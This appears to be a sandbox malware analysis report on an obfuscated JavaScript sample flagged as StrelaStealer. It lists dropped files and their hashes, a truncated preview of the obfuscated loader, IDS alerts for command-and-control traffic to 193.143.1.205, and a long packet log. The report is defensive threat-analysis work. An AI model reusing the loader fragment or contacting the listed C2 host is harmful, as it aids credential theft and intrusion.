Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14517), with CRLF line terminators
Entropy (8bit):	4.926352511503288
TrID:
File name:	545019492124428424.js
File size:	17'961 bytes
MD5:	d0dc00a4020422d9230a2d38b4bdc848
SHA1:	97d1922b113282670cf03d398cab33e6bdd0d48e
SHA256:	c6e488f190e0b967851614313ee5ff90bbd42d66475f40b0cb89cdd406b98521
SHA512:	4b409c3ed71deba7422e33f6bbd466b80a4f5a6850b9695d211aacca411ecc0a227f520fd0ce00ebc575bd9a17a5ee95e876bed916508b043855e8069cd2cdb5
SSDEEP:	192:3CCH+QsKSpupPpLU0H2qS8fTB9KUAa5qjlAIMpaZg7K0fzsYvjPErvyB7uT:SCH+QsiPpw358f3AaYjUIZggsuT
TLSH:	55826350CD38C0C38EF025A34FD95CE091DC638C6DBD96EA0A8995DAA72FC7455E48BB
File Content Preview:	function sjbkzrp(){ntijsoae=[1031,3079,5127,4103,2055,3072];var eajqro=this[jpddpkt+fphfqdgqu+nkuqc+yjjeqw+ndpdycsyp+cowrkc+uqczw+zuwwrssn](this[tvjwnzib+kryyrtrp+kgyskg+nkuqc+gazkst+jpddpkt+zuwwrssn][huwkzojw+nkuqc+ndpdycsyp+fphfqdgqu+zuwwrssn+ndpdycsyp+

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:10:01.237114+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T08:10:01.237114+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T08:10:04.039063+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:10:00.410480022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:00.415329933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:00.415446043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:00.418214083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:00.422970057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.236893892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.236922026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.236942053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.236962080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.236973047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.236989021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.237004042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.237019062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.237035990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.237051010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.237113953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.237113953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.237113953 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.237385035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.241976976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.289113998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.291486979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.291501999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.291591883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.355757952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.355772972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.355793953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.355875015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.355989933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.356000900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.356019974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.356039047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.356067896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.356343985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.356357098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.356378078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.356408119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.356749058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.356760025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.356767893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.356781960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.356791973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.356832027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.356864929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.357481956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.357497931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.357523918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.357533932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.357542992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.357553005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.357575893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.358340025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.358350992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.358372927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.358392000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.358395100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.358418941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.402565002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.431941986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.453218937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.453232050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.453253031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.453344107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.453440905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.475076914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.475090027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.475106001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.475189924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.475209951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.475261927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.475398064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.475414991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.475435972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.475446939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.475457907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.475462914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.475481033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.475497007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.475512028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.475543022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.476269007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.476280928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.476300955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.476311922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.476322889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.476330996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.476346970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.476353884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.476376057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.476413012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.476424932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.476454973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.477161884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.477174997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.477196932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.477206945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.477236986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.477339029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.477350950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.477371931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.477384090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.477385044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.477420092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.477484941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.478331089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.478343010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.478362083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.478373051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.478388071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.478390932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.478409052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.478420019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.478423119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.478441954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.478461981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.478471041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.479223013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.479235888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.479255915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.479265928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.479279995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.479316950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.479374886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.479387045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.479403019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.479430914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.479445934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.525167942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.525182009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.525202990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.525249958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.545573950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.545645952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.570971012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.570985079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.571001053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.571019888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.571032047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.571058035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.571110010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.592595100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.592672110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.592751026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593266010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593278885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593296051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593314886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593327045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.593353987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.593416929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593427896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593447924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593460083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593473911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.593488932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.593574047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593585968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593597889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593628883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.593682051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.593911886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593924046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593945980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593956947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593971014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.593983889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.593996048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.593996048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594024897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594044924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594047070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.594064951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594075918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594082117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.594095945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594109058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594122887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594122887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.594142914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594155073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594156981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.594172955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594186068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.594188929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594229937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.594310999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594322920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594341993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594366074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594371080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.594377995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594394922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.594398022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594408989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594436884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.594449997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594460964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594465971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.594480038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594491005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.594491959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.594542980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.595395088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.595407009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.595428944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.595438957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.595455885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.595459938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.595470905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.595489025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.595493078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.595516920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.596301079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.596313953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.596333027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.596345901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.596353054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.596393108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.598416090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598428965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598449945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598469973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.598495007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.598562956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598573923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598594904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598606110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598608971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.598659039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.598710060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598722935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598741055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598752975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598757982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.598803043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.598893881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598906040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.598941088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.599047899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.599059105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.599113941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.603105068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.617594957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.617757082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.617768049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.617786884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.617798090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.617805958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.617862940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.638081074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.638133049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.638135910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.662538052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.662561893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.662583113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.662606001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.662617922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.662621975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.662645102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.662647963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.662657976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.662678003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.662695885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.662708044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.662708044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.662760973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.665119886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.678268909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.685123920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.685278893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.685297966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.685309887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.685436010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.685621977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.685632944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.685652971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.685786963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.688574076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.688585997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.688606977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.688628912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 08:10:01.688659906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 08:10:01.688659906 CET	49730	80	192.168.2.4	193.143.1.205
